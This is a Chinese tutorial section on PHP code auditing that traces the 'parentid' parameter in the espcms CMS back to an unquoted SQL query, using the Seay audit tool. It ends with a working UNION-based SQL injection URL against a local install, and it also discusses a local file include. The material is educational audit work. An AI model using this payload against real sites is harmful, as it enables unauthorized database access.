3.1 敏感函数回溯参数过程
根据敏感函数来逆向追踪参数的传递过程,是目前使用得最多的一种方式,因为大多数漏洞是由于函数的使用不当造成的。另外非函数使用不当的漏洞,如SQL注入,也有一些特征,比如Select、Insert等,再结合From和Where等关键字,我们就可以判断这是否是一条SQL语句,通过对字符串的识别分析,就能判断这个SQL语句里面的参数有没有使用单引号过滤,或者根据我们的经验来判断。像HTTP头里面的HTTP_CLIENT_IP和HTTP_X_FORWORDFOR等获取到的IP地址经常没有安全过滤就直接拼接到SQL语句中,并且由于它们是在$_SERVER变量中不受GPC的影响,那我们就可以去查找HTTP_CLIENT_IP和HTTP_X_FORWORDFOR关键字来快速寻找漏洞。
这种方式的优点是只需搜索相应敏感关键字,即可以快速地挖掘想要的漏洞,具有可定向挖掘和高效、高质量的优点。
其缺点为由于没有通读代码,对程序的整体框架了解不够深入,在挖掘漏洞时定位利用点会花费一点时间,另外对逻辑漏洞挖掘覆盖不到。
espcms注入挖掘案例
我们来举一个根据关键字回溯的例子,用PHP程序espcms举例,使用Seay源代码审计系统做演示,首先载入程序,然后点击自动审计,得到一部分可能存在漏洞的代码列表,如图3-1所示。
图 3-1
我们挑其中的一条代码,如图3-2所示。
图 3-2
双击该项直接定位到这行代码,如图3-3所示。
在选中该变量后,在下方可以看到该变量的传递过程,并且点击下方的变量传递过程也可以直接跳转到该项代码处,可以非常直观地帮助我们看清整个变量在该文件的传递过程。另外我们可以看到$parentid变量是在如下代码段获得的:
$parentid = $this->fun->accept ( 'parentid' , 'R' );
图 3-3
右键选中该代码定位该函数主体,如图3-4所示。
图 3-4
可以看到跳转到了class_function.php文件的314行,代码如下:
function accept ( $k , $var = 'R' , $htmlcode = true , $rehtml = false ) {
switch ( $var ) {
case 'G' :
$var = &$_GET ;
break ;
case 'P' :
$var = &$_POST ;
break ;
case 'C' :
$var = &$_COOKIE ;
break ;
case 'R' :
$var = &$_GET ;
if ( empty ( $var[$k] )) {
$var = &$_POST ;
}
break ;
}
$putvalue = isset ( $var[$k] )? $this->daddslashes ( $var[$k] , 0 ) : NULL ;
return $htmlcode ?( $rehtml ? $this->preg_htmldecode ( $putvalue ): $this-> htmldecode ( $putvalue )): $putvalue ;
}
可以看到这是一个获取GET、POST、COOKIE参数值的函数,我们传入的变量是parentid和R,则代表在POST、GET中都可以获取parentid参数,最后经过了一个daddslashes()函数,实际上是包装的addslashes()函数,对单引号等字符进行过滤,不过注意看前面的SQL语句是这样的:
$sql = "select * from $db_table where parentid=$parentid" ;
并不需要单引号来闭合,于是可以直接注入。
在citylist.php文件看到oncitylist()函数在important类中,选中该类名右键点击“全局搜索”功能,如图3-5所示。
图 3-5
可以看到index.php文件有实例化该类,代码如下:
$archive = indexget ( 'archive' , 'R' );
$archive = empty ( $archive ) ? 'adminuser' : $archive ;
$action = indexget ( 'action' , 'R' );
$action = empty ( $action ) ? 'login' : $action ;
include admin_ROOT . adminfile . "/control/$archive.php" ;
$control = new important ();
$action = 'on' . $action ;
if ( method_exists ( $control , $action )) {
$control->$action ();
} else {
exit ( ' 错误:系统方法错误! ' );
}
这里可以看到一个include文件的操作,可惜经过了addslashes()函数无法进行截断使其包含任意文件,只能包含本地的PHP文件,如果你有MySQL的root权限,能导出文件到tmp目录,不能导出到Web目录,这种场景才用得到这个文件包含,再往下走就是实例化类并且调用函数的操作了,根据代码可以构造出利用EXP:
http : //127.0.0.1/espcms/adminsoft/index.php ? archive=citylist&action=citylist&parentid=-1 union select 1 , 2 , user (), 4 , 5
漏洞截图如图3-6所示。
图 3-6
这个案例非常真实地演示了如何根据关键字回溯变量来进行代码审计。